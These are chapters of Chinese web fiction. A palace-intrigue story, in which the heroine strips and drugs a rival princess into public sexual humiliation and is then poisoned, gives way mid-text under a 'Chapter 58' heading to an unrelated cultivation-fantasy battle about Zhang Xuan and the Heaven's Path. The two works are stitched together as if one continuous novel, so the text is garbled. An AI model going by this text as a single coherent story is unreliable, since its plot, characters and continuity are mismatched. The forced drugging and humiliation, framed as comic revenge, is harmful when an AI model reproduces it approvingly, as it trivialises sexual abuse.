那些个原本还想羞辱慕馨宁的侍卫,在见到晏骁寒之后,吓得差点尿了裤子。 他们连忙跪地求饶: “晏首辅,晏首辅恕罪……” “晏首辅饶命,卑职们也是迫不得已……” “晏首辅,都是惠明公主指使卑职们,卑职们也没有办法……” 晏骁寒阴沉着脸看向慕馨宁,这女人是故意算计他。 当朝首辅被关进了大衣柜,听了一场热闹,又被这么多人看见,他的颜面何在? “拉出去,都杀了。” 说着,他目光落在了宋菀菀身上。 宋菀菀哆嗦着身子,颤抖着嘴唇:“我……我……” 她想要解释,可是又不知该如何开口。 晏骁寒竟然听见了,也看见了,那她在晏骁寒心里,定然是个恶毒卑鄙的女人,怎么办,该怎么办? 那些侍卫们被拉走,很快就被抹了脖子。 慕馨宁缓步走到宋菀菀跟前,似笑非笑:“你刚刚不是很得意,现在怎么不得意了?” 宋菀菀咬破了嘴唇,恶狠狠的瞪着慕馨宁:“都是你,都是你故意的,是你要害我,慕馨宁你给我瞪着……” 她放下狠话,转身要跑,没想到后脑勺忽然被什么砸了一下,当即没了知觉。 “你做什么?” 一旁的晏骁寒,见慕馨宁忙的满头大汗的扒宋菀菀的衣服,不由得遮住自己的眼睛。 “干什么,当然是以牙还牙了。” 她说完,又问晏骁寒:“你不会心疼了吧,要不然,你先睡?” 第57章 可有遗愿 晏骁寒面色冰冷,一甩衣袖,大步离开。 慕馨宁将宋菀菀扒的精光,直接把她的衣服丢了出去,然后往她的嘴里塞了一粒药丸。 此时离午时还有一个多时辰,虽然已经退朝,但是御书房外头跪了一大批官员,都是劝诫永平帝处置慕馨宁的。 “皇上,今日您要是不处置了慕馨宁,老臣就撞死在这柱子上,老臣一条命不足挂齿,但是恳求皇上能够幡然醒悟,还我东陵国一片朗朗乾坤啊!” 他说的大义凛然,长长的吸了一口气,做好了赴死的准备,然后铆足了劲要往柱子上撞。 就在这时,有人尖叫一声:“那是什么!” 众人顺着那人手指的方向看去,就见一个一丝不挂的女子渐渐走进。 女子身材还算不错,不过因为年龄不大,还很青涩,尚未长开的样子。 等她走进,众人看清她那张脸之后,差点没背过气去。 此时的宋菀菀脸色涨红,双眼迷离,口干舌燥,她见到不远处的守卫,瞬间激动起来:“来……来救救我……” 谢御史连撞柱都忘了,他随手扯了一个侍卫指着宋菀菀的方向:“那……那是谁?” 侍卫看了一眼,连忙惊慌的低下头:“可能是惠明……公主……” 光天化日之下,所有人的目光都落在了宋菀菀的身上,一副想看又不敢看的样子。 好不容易有个官员反应了过来,连忙喊了人:“快去禀报太后娘娘!” 太后那边的芝嬷嬷的时候,宋菀菀已经欲求不满,就要杀人了。 “大胆,我是惠明公主,我让你服侍本公主……你为什么无动于衷……” 芝嬷嬷脸色煞白,连忙脱了自己的外套罩在宋菀菀身上,她冷着脸呵斥众人:“都转过身去,不过就是一个丫鬟犯了失心疯,有什么好看的!” 她绝对不能承认,眼前的女子是惠明公主。 太后的脸还要不要,宋菀菀的脸还要不要? 但是所有人都是心知肚明,要是这女子真的只是个普通的丫鬟,太后身边的芝嬷嬷怎么可能紧张成这样。 啧啧,这惠明公主的身材还算可以,就是……有些黑…… 太后得知此事之后,直接气的昏死了过去,太医忙活好一阵,才把人给救醒。 太后一睁眼,抓起下人的茶盏狠狠地摔在了地上:“岂有此理,慕馨宁,哀家定要让她好看!” 等宋菀菀清醒过来之后,没人敢在她跟前提她光着身子在御书房和金銮殿跟前走一遭的事情,宋菀菀也浑然不觉。 以为慕馨宁打晕了她,下人就把她带回来了。,但是她还是气的半死,摔了房间里许多东西,扬言要让慕馨宁死无葬身之地。 御书房,永平帝听说宋菀菀的事情之后,简直是一脸不可置信的样子。 堂堂太后义女惠明公主,光着身子在宫里走了一遭,竟然什么都不知道,慕馨宁真是太狠了。 晏骁寒将慕馨宁跟永平帝谈的条件说了,永平帝更是震惊,更气愤。 “看来,无论是太后,还是长公主,都比朕有钱啊,不是金矿就是银矿,简直是放肆!” 东陵国律,但凡是在东陵地界出现的各种宝物、矿石等,全部归国库所有,而太后和慕馨宁竟然都想据为己有,是把他这个皇帝当纸老虎吗? 永平帝更想收拾慕馨宁了,可是慕馨宁说的对,没有慕馨宁,他永远不会知道矿山在哪里,一两银子也得不到。 “皇上,郑婕妤的事情已经查明。”永平帝身边的暗卫统领上前来报。 晏骁寒拱手,作势要退下。 “行了,你也听听吧。” 永平帝觉得没什么必要对晏骁寒隐瞒,毕竟他最狼狈的样子,晏骁寒见过不只一次了。 晏骁寒还是不想参与永平帝的私事,奈何那暗卫统领已经开口:“属下的人查明,郑婕妤肚子里的孩子并不是皇上的。” 永平帝脸色难看:“那是谁的?” 暗卫统领迟疑一下,开口道:“禁卫军副统领,是太后的人。” 永平帝气的差点吐血,恨不得掀了面前的桌案:“好啊,好一个太后,竟然如此不把朕放在眼里!” 要不是太后要用郑婕妤肚子里的孩子对付慕馨宁,没准儿还能让郑婕妤把孩子生下来,将来继承东陵大统,真是胆大妄为。 而晏骁寒,已经想到了其他,太后轻易就让郑婕妤流了孩子,那估计后宫还有其他妃嫔怀了身孕,等将来那妃嫔生了孩子,被立为太子,太后定会想方设法害死永平帝,然后挟新帝令诸侯,这不失为一步好棋啊! 永平帝发了一通脾气,最后不得不答应暂且放过慕馨宁。 如今他要做的,就是夺了太后手里的金矿,来一招釜底抽薪,以报不共戴天之仇。 现在,他不得不怀疑,宸妃害的他断子绝孙,没准还有太后的手笔。 晏骁寒带着永平帝的旨意去见慕馨宁的时候,忽然看见一个提着食盒的太监鬼鬼祟祟脚步匆匆的离开,他见了晏骁寒还特意躲的远远的。 晏骁寒忽然想到了什么,不由得脸色大变,加快了脚步。 当他匆匆赶到的时候,慕馨宁已经狼狈的趴在地上,浑身抽搐,唇色青紫,嘴角和鼻孔都有鲜血溢出,她的身边打碎的碗盘里,还有一些残羹剩饭。 “慕馨宁!”晏骁寒心里骤然一紧,急忙将慕馨宁扶了起来。 慕馨宁靠在晏骁寒怀里,看着他俊美无俦的脸苦笑了一下:“这下好了,不用你亲自动手,有人先要我的命了……” 即墨见此,心里五味杂陈,慕馨宁就要死了吗,他应该开心啊,毕竟慕馨宁死了之后就不会再有祸害自家主子的机会,可是看着自家主子担忧的脸色,心里又有些发堵,万一慕馨宁就这么死了,自家主子怕是会很难过吧。 晏骁寒剑眉紧蹙:“我从未想过要杀你。” 他只想让她安分一些。 “属下去叫太医! ”即墨说完就要走。 慕馨宁咳嗽一声:“来……来不及了……” 即墨脚步一顿。 “你可有什么遗言?”晏骁寒看着慕馨宁,声音有几分嘶哑。 慕馨宁扯了扯嘴角,盯着晏骁寒的俊脸看了片刻:“遗言没有……我倒是有个心愿……不知道你能不能满足……” 晏骁寒:“什么心愿?” 慕馨宁抬手,抚摸他如玉的侧脸:“让我亲一口……” 牡丹花下死,做鬼也风流,就晏骁寒这样的天资绝色,要是亲一口,那得多销魂,地府里的孟婆都得羡慕她。 即墨气的转圈,我的剑呢? 晏骁寒动了动唇,忽然捕捉到慕馨宁眼里一闪而过的狡黠,他脸色瞬间阴沉,用力将慕馨宁推开:“你在耍我!” 第58章 你牛 灵魂契约,契合灵魂,只要自己不解除,哪怕对方手段通天,都无法化解。 就好像不死帝君小黄鸡,之前只是神王,他是帝君,同样没办法解决这种约定。 为了防止这家伙变卦,出现反噬的现象,名师大陆就曾专门定下,即便对方可以脱离天道之册,也无法挣脱灵魂间的约定啊! “灵魂契约,的确无法从识海中分裂出去,但我融合了连天道都可以化解的特殊气体,将这种契约化解掉,并不难……只要有足够力量,轰击契约所在之处,就能做到!” 狠人道。 灵魂契约,是建立在天道基础上的,特殊力量连神界天道都能化解,化解个灵魂契约,只要处理得当,又有何难? “原来如此……”张悬目光一闪。 “和你说这么多,也算感谢将我带到神界了!” 解释完,狠人不再多说,身上的气息愈发的亘古悠远,身后的黑洞变得更加巨大,显然说话的功夫,又吞噬了不知多少力量,做了滋补。 “张悬,黑洞吞的越多,他的实力越强……” 洛若曦也发现了不对劲,急忙传音过来。 “准备动手吧!”心中疑惑尽消,张悬深吸一口气,手中长剑,陡然扬起:“既然如此,那就手底下见真章吧!” 轰隆! 最强大的剑意,再次施展而出。 生当复来归,死当长相思! 生死皆不在乎,又有何事可以阻拦? 这一招剑法,虽然是没达到帝君领悟的,却蕴含了心中的一切执念,将体内的天若有情功法,发挥到了极限。 呼! 一剑将狠人的攻击,斩成两半。 同一时刻,洛若曦也出手了,玉手翻滚,剑芒如雪。 她的剑法和剑神天的那位青年有些相似,带着一往无前的气势,和大道自然的潇洒。 “你们的招数是很厉害,但对比我,还是差了些……” 轻轻一笑,狠人再次向下抓来。 一瞬间,遮天蔽日,手掌将天地都笼罩了,空间碎裂,日月星辰都仿佛要被硬生生打下来。 噗!噗! 张悬和洛若曦同时倒飞而出,人在空中鲜血狂喷。 以二人的实力,竟然抵挡不住! 这家伙到底达到了何种境界? “放肆!”分身大步踏来,每走一步,就有莲花绽放,虚空中带着流水的声音。 远远看去,逼格十足。 炼化九天混沌金莲,他的修为比起张悬,丝毫不弱。 一拳扬起,力量冲上九天。 和狠人对碰,同样倒飞而出,挡不住一招。 张悬捂住额头。 成就帝君了,分身依旧不改装逼的本性…… 这么绚丽的装逼,还不如将力量集中起来,威力更大! “一起出手,不然,他们死了,我们都会死……” 小黄鸡一声大喝,赤红的的火焰燃烧,天空都像被点燃。 剩下六大帝君,也各自施展手段。 七位帝君联合,毁天灭地,一方天地在面前都抵挡不住,但对方是吸收了特殊力量的狠人,攻击来到跟前,黑洞陡然变大,眨眼功夫就将力量吞噬干净,紧着着反击而出。 嘭嘭嘭嘭! 七位帝君和张悬等人一样,倒飞而出。 十大帝君,联合在一起,竟然都没挡住对方一招! 这家伙,怎么会这么强大? “你们可以死了……” 一招击溃众人,狠人向前一步,手腕一翻,再次拍了下来。 “鼠辈敢尔!” 伴随一声大喝,之前剑神天的那位老者,突兀出现,挡在面前,手中长剑化作银河。 “帝君?他也是帝君实力?” 张悬瞳孔一缩。 这位老者当初跟在青年身后,本以为只是个随从,最多封号神王,施展出力量才发现,竟然也是一位帝君强者! 如果他是帝君,那位青年,是什么? “他本身就是剑神天的帝君……”挣扎站着身来,洛若曦咬牙道。 “那……传我剑法的青年呢?”张悬再也忍不住。 “他是……”洛若曦刚想回答,空间一阵扭曲,随即看到剑神天的这位帝君,同样倒飞了出去,落在不远处,砸出一个大坑。 张悬现在的实力,和对剑道的领悟,远超过他,都抗衡不住,他即便修为不弱,剑术高明,依旧不是对手。 “哈哈,帝君,一群土鸡瓦狗而已!今天我就灭了九天,灭了这神界,将一切规则踏平!” 将剑神天的帝君击败,狠人疯狂大笑,四周的空间不停坍塌,衬托的他如妖如魔。 “怎么办?”张悬拳头捏紧。 刚才他和分身,都施展出最强战斗力了,甚至眼前的洛若曦,也将最强招数使用了出来,都没挡住对方的一招…… 难道神界,真的没人能够挡住眼前这位? 任由他将世界毁灭? “唯一的办法……是将你的天道有缺,回归天道本身,让天道将他镇压……”洛若曦秀拳捏紧,眼眶泛红。 “回归天道本身?”张悬知道她的意思。 脑海中的图书馆,本身是天道的一部分,一旦回归,天道就等于彻底完整了,或许就可以修复漏洞,自我将狠人排斥出去。 就好像人体的免疫系统。 免疫系统完整,病毒来了,轻易驱赶;坏了,抵抗不住病毒入侵,再强壮的人,也会因此死亡。 只是…… “他太强大了,即便天道恢复完整,也无法镇压吧!”张悬摇头。 病毒,免疫系统是可以斩杀,但……猛虎呢? 再强的免疫系统,又有什么办法? 眼前这位,只是普通神王,哪怕封号,天道都可以轻易杀死,可比帝君都要强大……已然不是天道可以抗衡的了。 “这……”洛若曦停顿了一下,洁白的玉面上露出失落之色:“是啊……没办法镇压,但是,天道完整,他就能醒过来,斩杀这位,并不难!” “他?”张悬皱眉。 “我带你去见他,就在自在天……”深吸一口气,洛若曦一咬牙,转身就向前飞去。 “想逃?”狠人冷哼,向下一按。 嘭! 洛若曦从空中坠落。 “你……”张悬剑法再次施展出来,剑意辉煌而出。 叮叮叮! 再次被狠人挡住。 “你们快走,我来挡住他……” 知道他们再想拯救神界的方法,而不是逃走,分身和不死帝尊,一声大喝挡在前面,洛七七也摇身一变,回归静空珠本体。 四周的空间凝固起来。 “走!” 见众人奋不顾身挡在后面,无畏惧死亡,张悬眼眶一红,不过,也知道现在不是多说的时候,一拉洛若曦,身体一晃,划破空间,下一刻已经出现在了自在天的范围。 自在天现在已经没了之前的自在,神界崩塌,四处一片混乱。 “你说的他,在哪里?” 没空去观察普通人的生活,张悬看向怀中的女孩。 如果她说的那人,真能拯救神界,自己牺牲又何妨! “他是我的父亲,你吊坠中的血液,就是他的,不死帝君,曾是他的兽宠……”洛若曦调息了一下,解释道。 “父亲?” 张悬恍然大悟。 难怪一直觉得吊坠中的血液和洛若曦相似,却又不同,原来是她父亲的。 这样也就解释了,为何不死帝君留下的那道意念,看到吊坠后,立刻认自己为主。 “你父亲也是帝君?或者拥有超越帝君的实力?” 忍不住道。 图书馆混乱,是吊坠中的血液,让自己恢复清醒,难不成,不仅她是帝君,父亲也是,甚至更加强大? 如果是这样的话,又为何会昏迷? 又需要天道有缺,才能让其清醒? “他不是帝君,而是……天道!” 洛若曦秀拳捏紧。 “天道?你父亲……是天道?”张悬一震,不敢相信。 “是!五十年前,父亲抵挡不住那只大手,陷入昏迷,天道崩散成三部分,天道有序和天道有缺,进入空间乱流,我代为掌控天道自然,维持神界的平衡。想要让他恢复,只有将散开的部分收集……所以,我才如此决绝,不能失败!才专门进入名师大陆,研究春秋大典,想办法战胜孔师!和孔师战斗的时候,拜托他的事,也是这个。” 洛若曦道。 张悬恍然。 名师大陆刚认识不久,眼前的女孩,就和自己讲述过她的故事,要救一位至亲,自己当时还不明白,现在才恍然大悟。 竟然是她父亲,而且还是神界天道! 天道真的能够化成人形,并且生儿育女吗? “代为掌控天道自然……你体内,没有天道碎片?”突然,意识到她语言中的不对劲,张悬看过来。 代为掌控,和自己这种融合在体内,是两种概念。 “我只是掌控,并不是天道的一部分……”洛若曦道。 张悬松了口气。 这样说起来,只需要自己将天道有缺剥离出来就行了,并不需要她也死亡。 尽管这种命运,不愿意接受,却也不愿意眼前的女孩,受到伤害。 “我将体内的天道有缺剥离出来,你父亲就能活过来,甚至将狠人击杀是吧?”张悬看来。 “这……我也不确定……” 抬头看了看已经崩塌的神界,洛若曦迟疑。 神界是父亲的根基,现在根基都这样了,就算清醒,真的能够将那个强大的狠人击败吗? 真不好说! “看来你也不能肯定,既然如此,求人不如求己……我们只有自己想办法!”张悬咬了咬牙:“你、我、分身,联合九天九帝,如果在配合上孔师,未必不能获胜!” “孔师?他……”洛若曦皱眉。 “孔师已经死了是吧!他并未真正死亡,如果猜的没错,他被你斩杀,只是用来脱离天道的方法……不出意外,他应该和魏长风一样,是【先天胎魂体】!” 张悬道。 看到魏长风,就明白过来,孔师所谓的保持灵智,应该和他一样,是先天胎魂体。 可以做到胎中不迷。 再加上提前留下的后手,复活,只是时间问题。 洛若曦愣住,似乎她没想到,会是这样。 “过去看看就知道了,猜的不错,他应该已经恢复,不然,他的那些学生,不可能连潮汐海都没去……”张悬道。 孔师的那些学生,子渊古圣等人,个个实力强劲,就算没有帝君帮助,也必然有办法进入潮汐海,可却一个都没见。 必然是有更重要的事情等着,想要趁所有帝君去潮汐海无暇顾及的时候去做! 而这种重要的事,明显就是让孔师恢复。 “这……”洛若曦心中一震,恍然大悟。 “走吧!” 不再解释,单手一划,张悬重新来到孔师居住的所在,果然看到一个老者盘膝悬浮在空中,见他们来到,微微一笑:“来了!” 不是孔师,又是何人! 这位万世之师,果然没让自己失望! 和猜测的一样,趁着所有人都将注意力集中在潮汐海的时候,重新复活了。 “你……”洛若曦娇躯一震。 她知道帝君可以复活,不死帝君也活过来了,但……没想到速度这么快! “我隐瞒天道,提前就准备了后手,幽魂池中的那个没有名字的巨人,就是我留下的,当日被你斩杀,我借机摆脱了天道的束缚,重新凝聚肉身,现在也刚刚恢复罢了!” 孔师微微一笑。 他精通时间能力,看起来神界只过了一、两天,实际上为了恢复力量,经历了不知多久。 几十年的时光,都有了。 “我们三人的实力,是很强,但想要胜过狠人,也没那么容易……” 见孔师果真恢复,洛若曦依旧摇头。 不是涨他人威风,灭自己志气,而是事实。 刚才这么多人联合,都没挡住对方,即便增加一个孔师,又能如何? 同样改变不了局面! “我们单个的实力,甚至联合在一起,的确不是对方的对手,但……如果将所有人的力量,都融合在一个人的身上呢?” 孔师笑着看过来。 “融合在一个人身上?” 这次不光洛若曦皱眉,张悬也满是疑惑。 “那个手掌能够撕裂神界,将天道都打散,实力之强,不容置疑,狠人将这股力量全部吸收,又吞噬了神界五十年的灵气,单凭实力,我们十几位帝君,单个拿出来,的确不是对手……” 孔师道:“但联合在一起,将力量集中在一人身上……就未必了吧!” “如何集中?” 洛若曦看过来。 说的简单,做起来难。 帝君已经站在神界最巅峰了,如果这么容易吸收别人的力量,她也不至于这么多年,停滞不前。 “很简单……我们将身上的力量,集中在张悬身上,一旦他能冲破帝君桎梏,就能救下神界!” 孔师道。 “我?”张悬一愣:“为什么是我?” “灵犀帝尊修炼的是自由自在,超脱自然!但有了父亲和天道的制约,有了牵挂的人,就永远没办法真正超脱!如果我没看错,当初和我战斗的时候,你也曾放弃过,打算被我斩杀吧!” 孔师道。 洛若曦说不出话来。 战斗的时候,的确有过这种打算,所以二人的交手,刚开始的时候,各自留着后手,宛如切磋,不像生死搏斗。 “无法超脱,自然也就发挥不出最强力量,即便给与再多的真气,同样无法冲击那至高的境界!至于我……” 孔师点头道:“心怀苍生,想要普度天下,却不愿意别人为我牺牲,仁慈太多,也是缺点!如果心狠一些,将异灵族灭族,就不会有现在的局面……” 当初如果能将异灵族人全部灭杀,狠人就不可能复活,也不会有现在的情况。 “所以,我也不适合!而张悬,功法顺心,没有缺陷。讲究活出自我,哪怕身死,只要活得无愧,就心中坦荡。这种人拥有更大的包容,更大的发展空间,只有这样,才能走的更高,更远!” 孔师继续道。 生当复来归,死当长相思! 连死亡都不在乎,又怎么会被其他事情所羁绊? “这……”张悬皱眉,正想说些什么,就见孔师目光炯炯的看过来:“不用推辞了,先说时间来不及,去培养其他人,就算来得及,我也觉得未必有人能比你做得更好!灵犀帝尊体内虽没有天道碎片,却常年掌控天道,对天道有着属于自己的理解;我掌控天道有序,如果我们将力量灌输给你,你体内就会拥有完整天道的力量!配合上分身的九天混沌金莲,完全可以做到定九天,掌乾坤,战九霄,灭万物!” “好吧!” 见对方已经做出决定,自己解释再多也无用,张悬点了点头。 轰隆! 盘膝做好,一眨眼功夫,两股雄浑的力量,就从两侧灌涌而来。 张悬全身一僵,整个人仿佛刹那间化身天道,翱翔在九天之上。 灵魂、肉身、真气,都在瞬间得到了洗礼,越来越强,越来越雄浑。 …… “你们也想拦我?也好,杀了你们,再去将张悬斩杀……” 将洛七七和分身等人拍飞,狠人冷冷一笑。 分身和诸多帝君联合施展而出的力量,的确很强大,不过,和他比,依旧弱了一些。 潮汐海将神界出了城市外的灵气,几乎全部吞噬干净,现在这些力量,都化作他的寄养,举手投足,带着毁灭天地的能力,这些帝君、神王,尽管代表了神界最巅峰,依旧不堪一击。 此时的狠人,仿佛代表了整个神界,无人能挡。 “神界灭亡,我们活着也没意义,我云螭,与你同归于尽……” 云螭大帝变化出本体,一头巨大的五爪金龙,凌空向他扑了过去。 “就你?不配!” 狠人手掌一捏,金龙就挂在掌心,无论如何挣扎,都逃脱不掉。 “老友,等我!” 扶猛帝君也一声大吼,变化出白虎本尊,凌空来到跟前。 不死帝君,不死火凤本尊显示出来,火焰照耀天空。 玄冥大帝,本尊乃一头大龟,宛如托举着诸天。 四大神兽,镇守神界四极,同时变化本体,崩塌的神界,都变得缓慢下来。 乾坤仿佛在瞬间定住。 嘭嘭嘭嘭! 连续四掌,狠人将四兽镇压下来,眼中闪过一道浓烈的杀意:“既然你们找死,我就成全你们……” 咆哮声中,正想下死手将众人全部抹杀,就感到扬起的手臂一紧,在空中停了下来。 “想要杀他们,问过我没有……” 随即,众人震惊的目光中,一个人影从空中缓步走了出来。 正是张悬! 此时的青年,全身力量澎湃,比刚才强大了十倍不止,自天而来,宛如整个人就是一个世界。 “进步了不少……” 狠人停了下来,目光凝重。 他显然也没明白,为何短短几分钟的光景,对方的实力有了如此巨大的变化。 “不过,增加了又如何?全盛期的神界,都抵挡不住,我不信,你能挡得住我……” 一声冷哼,狠人再次拍落而下。 张悬长剑扬起,迎了上来。 双方战斗在一起,空间一道道撕裂,气流四处乱窜。 “张悬能不能获胜?” 自在天孔师驻地,洛若曦满是担忧的看过去。 她和孔师将力量传递给张悬,自身修为,已经降低到只有神王级别,不如之前那么辉煌了。 不过,级别在哪里摆着,只要力量足够,终有一天,可以重新恢复。 “凭借现在的实力,想要胜过……很难!除非……他能领悟超越帝君的力量!” 沉默了片刻,孔师道。 十几个帝君联合,都无法胜过狠人,即便他们将力量全部传递给对方,想要胜过,也没那么容易。 之所以这样做,是因为……力量只有集中在一人身上,才有可能触碰到顶点,才有可能真正超越极限,突破自我! “超越帝君的力量?” 洛若曦眼神悠远。 父亲还清醒的时候,曾和她说过同样的话,但……她无法做到,自己心爱的男子,能够做到吗? “他一定能……他有着一颗不屈的心!和对这个世界的傲然。” 看出她心中的疑问,孔师笑道。 …… 嘭嘭嘭! 连续几招下来,张悬虎口开裂,胸口出现了一道巨大的伤痕,狰狞可怖。 和孔师说的一样,即便融合了他们二人的力量,体内形成了完整的天道,依旧不是对手。 “哈哈,还以为多厉害,不过如此!”狠人冷冷一笑。 “反正不是你的对手,早晚都会被杀,既然如此,我想死在你最强的攻击之下……”深吸一口气,张悬停了下来,不在进攻,反而看向眼前的狠人。 “好,我成全你,给你最强的攻击……” 听他这样说,狠人愣了一下,随即冷哼一声,手掌扬起。 哗啦! 一道青光出现在掌心,猛地拍落而下。 果然是最强攻击,整个神界都发出轰鸣,宛如快要承受不住,再次被打出一个巨大的坑洞。 双眼紧闭,张悬并未躲避。 嘭! 脑袋炸裂开来,灵魂四处溃散。 “张悬……”看到这一幕,所有人都脸色一白。 洛七七宛如发疯。 云螭大帝等人也瞪大眼睛,不停哆嗦。 看到这一幕的孔师和洛若曦也全都一愣。 本意是让他突破桎梏,冲击超越帝境境界的,怎么不去反抗,甘心赴死? 这样,岂不辜负了他们的一番好心? “不对,是不死帝君的不死之法……” 正在奇怪,孔师突然开口。 众人随即看到,脑袋炸开,甚至灵魂碎裂的张悬,胸口的吊坠陡然炸开,一滴血液悬浮而起,燃烧起来,形成了一团炙热的火焰,火焰中,一具完好无损的身影,缓步而出。 “他……借助对方的力量,和吊坠中的血液,将天道有缺和灵魂分离了?” 洛若曦瞳孔收缩。 浴火重生后的张悬,体内竟然没了天道图书馆,没了天道的干扰,脱离了天道! “他怎么做到的?” 孔师也满是不敢相信。 天道和灵魂融合在一起,不分彼此,为了摆脱,他不得不魂飞魄散,借助幽魂池重新凝聚魂魄。 眼前这位,只被斩杀了一下,就彻底摆脱,用了什么办法? “我知道了……他用了狠人摆脱灵魂契约的办法……”洛若曦反应过来。 灵魂契约绑定主人和仆人,主人不解除,仆人就永远受制……天道图书馆也是这样,可以说是一种增强版的契约。 绑定了灵魂,不死不会脱离。 但……狠人借助那种特殊力量摆脱了灵魂契约,具体方法,张悬之前详细询问过,恐怕那时就动了心思。 这才故意拼死,让其施展出最强力量对他攻击。 借助这种力量,浴火重生,没想到,果然大获成功! “原来如此,这才是突破帝君的方法……” 从火焰中走出的张悬,脸上露出淡淡的微笑,像是明白了什么,突然一招手,一侧的分身,立刻重新变成一朵莲花,飞了过来。 刹那间,与自身完美融合。 一眨眼功夫,众人感觉,眼前的张悬,像是变成了九天,九天就是他。 脚掌在地上轻轻一踏。 混乱的九天,立刻稳定下来。 九天混沌金莲,九天诞生时出现,能够稳定九天,此时分身和自我完美融合,不分彼此,也就等于他掌控了这种力量。 不仅如此,融合了九天混沌金莲的修为,他本就达到巅峰的境界,出现了松动,似乎随时都会突破。 “主仆情、兄弟情、师生情、父母情、爱情……融合在一起,原来就是世间万物,这才是人!” 面带微笑,张悬喃喃自语。 天道图书馆脱离灵魂的刹那,他明白过来。 是人看了世界,才有了世界,还是先有世界,后有了人? 是风动,还是心动! 这个问题,亘古不朽的困扰着无数人。 当然,现在……这些都不重要了! 没有生命,没有情感,世界就算存在,又有何意义? 所以,突破爱情之后,是众生情!是交织天下的情感。 世间万物皆有情感,有情才有世界,有情感,才能延续生命。 爱,是情。 憎,是情。 高兴,是情。 痛苦,是情。 离别,是情。 相聚,也是情! “万千情意,为我所用……” 一声低呼,张悬体内禁锢的境界,瞬间破开。 帝君桎梏,突破了! 一瞬间,仿佛触摸到了一个全新的世界和大门,灵魂得到了快速的滋养。 无数混沌之气,涌了过来,肉身也飞速提升。 之前只有吸收灵力,才能进步,而现在空间乱流、混沌之气,哪怕是对方的青光,都可以为我所有,不分彼此。 “你……”狠人没想到,自己的全力攻击,非但没将其斩杀,反而成全了他,气的“哇哇!”乱叫,一声怒喝,再次攻击下来。 “你怨恨高高在上的帝君,没在空间乱流中救下自己,是情;觉得曾是我的仆人,蕴含卑微和愤怒,是情;想要毁灭神界,发泄愤怒,是情;想要变得更加强大,同样是情……情感控制着你,你又如何胜得过我,不被我控制?” 淡淡一笑,张悬的声音越来越快,越来越响亮,手掌轻轻一抓。 原本纵横无敌的狠人,就被无数情感细线,禁锢在一起,束手束脚,无法动弹。 只要有情,就要被他所用,被他控制! “你……” 狠人眼中满是惶恐:“张师,我是你的仆人,不要杀我……我愿意灵魂献祭……” “现在再说这些,已经晚了……”微微一笑,张悬摇了摇头。 掌控天下之情,仆人之类对于他来说,已经没任何意义了。 杀了神级这么多人,伤了自己的女朋友,洛七七以及这么多朋友,今天,又怎么可能宽恕! “不……” 感受到他的果决,狠人瞳孔收缩,话音未结束,立刻感到身上一阵剧烈的疼痛。 嘭! 一刹那间,爆炸开来,化作无数灵气,向神界各处灌涌。 之前,潮汐海吞噬掉的所有力量,此时全部反哺回来,已经枯竭的荒野,重新焕发生机。 “这……” “这样就杀了?” 云螭大帝、不死帝君、玲珑仙子啊等人,全都瞪大了眼睛,不敢相信。 刚才他们和狠人交过手,知道可怕,这么强大的人,竟然随手覆灭,这位张悬……到底达到了何种地步? 难道帝君之上,真的还有另外的境界? “他成功了……” 孔师和洛若曦,松开捏紧的拳头。 “这是天道的一部分,那我现在就归还天道……” 看到刚才从自己体内,被分离出来的“天道有缺”,依旧在空中悬浮,张悬轻轻一笑,屈指一弹。 嗡! 从重生就伴随他的图书馆,轰然镶嵌在神界的天空之上。 大钟般的鸣响,不断崩溃的神界,肉眼可见的缓慢恢复,混乱的气流,也重新聚拢起来。 崩塌的神界,终于停了下来,干枯的灵气,也伴随狠人的死亡,慢慢复苏。 “看来,神界要重新迎接灵气复苏时代了……”张悬一笑。 潮汐海的窟窿,伴随天道的补全,已经恢复,神界恢复以前的盛况,只是时间问题。 “张悬,这边来……” 刚做完这些,脑中响起一个声音,张悬愣了一下,一步跨出。 这一步,不知飞了多远,随即看到一个青年站在面前。 正是之前传授自己剑法的那位。 “前辈,你……” 看到是他,张悬一愣。 之前就觉得这位,深不可测,现在才发现,比起自己,也只差了一丝而已,已然达到了帝君的最巅峰,比起之前的洛若曦,都强大不知多少。 “直呼我名字即可,我叫……聂铜!”青年身上散发出一往无前的剑意,淡淡道。 “聂铜?”张悬皱了皱眉。 第一次听到这个名字。 “跟我来,带你见我哥哥!”叫做聂铜的青年莞尔一笑,向前跨步而出。 张悬紧跟在身后,不知飞了多远,在一个山峰前停了下来。 随即看到了另外一个青年。 容貌比他大不了多少,双眉上扬,给人一种深邃不可看穿之感。 “这实力……”张悬一颤。 眼前这位青年的实力,竟然比他还要强大,同样突破了帝君的桎梏,而且修为更加深远厚重! “在下,聂云!”青年淡淡一笑,看了过来:“也就是……聂灵犀,你口中洛若曦的父亲!” “若曦的父亲?” 张悬一震:“你……是神界天道?” 之前洛若曦说过,自己的父亲,是天道,怎么都想不到,是这样一个年轻人。 “我一气化三清,一部分灵魂,变成了天道!再说,这个世界,是我创造的,说我是天道也无不可!”聂云淡淡一笑。 张悬不敢相信。 神界竟然是眼前这人创造的? 那他的实力,该有多强? “不对,如果神界是你创造的,你又是天道,为何任由狠人肆虐,而不出手……”张悬看过来。 如果不是自己突破,神界极有可能彻底崩塌,为何眼前这人,不管不问? 甚至连女儿的生死,都关心? 没回答他的问题,聂云淡淡的看过来:“你认为……神界之上,还有更加强大的生命吗?” “这……”张悬停顿了一下:“应该有吧……” 虽然没见过,但既然他能修炼到这种境界,或许其他人也可以,甚至更强。 就好像眼前这位。 “我曾怀疑,神界之上会有更强大的生命,所以用尽全力窥视,最终引来了更高世界的反噬……一个手掌破空而下!” 聂云看过来:“当时如果我躲闪,极有可能整个神界都会被抹平,再没有半个生命……所以,挡下了这招,但也因此,化身的天道被分裂出去。” “这种情况,我想恢复,只是一道意念而已,但……我明白,想要真正超脱神界桎梏,去探索手掌由何而来,神界之外,又有什么……单靠我一人很难做到。所以,想要看看,有没有生命,能够突破帝君桎梏,达到和我平齐的地步!” “所以,就将分散的天道意念,送到最底层的世界……分别赐予原本属于这个世界的灵魂,和一个不属于这个世界的灵魂。而你,最终没让我失望!” 聂云笑道。 “不属于这个世界的灵魂,这样说来,我穿越,也是因为你?”张悬心中一震。 难怪,能够穿越过来,没想到都是眼前这位所为。 “呵呵!”聂云轻轻一笑,道:“本身属于这个世界,就有着对世界的敬畏,想要突破世界桎梏,难度要大得多,我也是心念一动,并没想到,你真的能够成功……” “我……”张悬脸色一红:“如果不是孔师,我根本不可能达到这种地步……” 没有孔师的无私奉献,想要达到现在的境界,根本不可能做到。 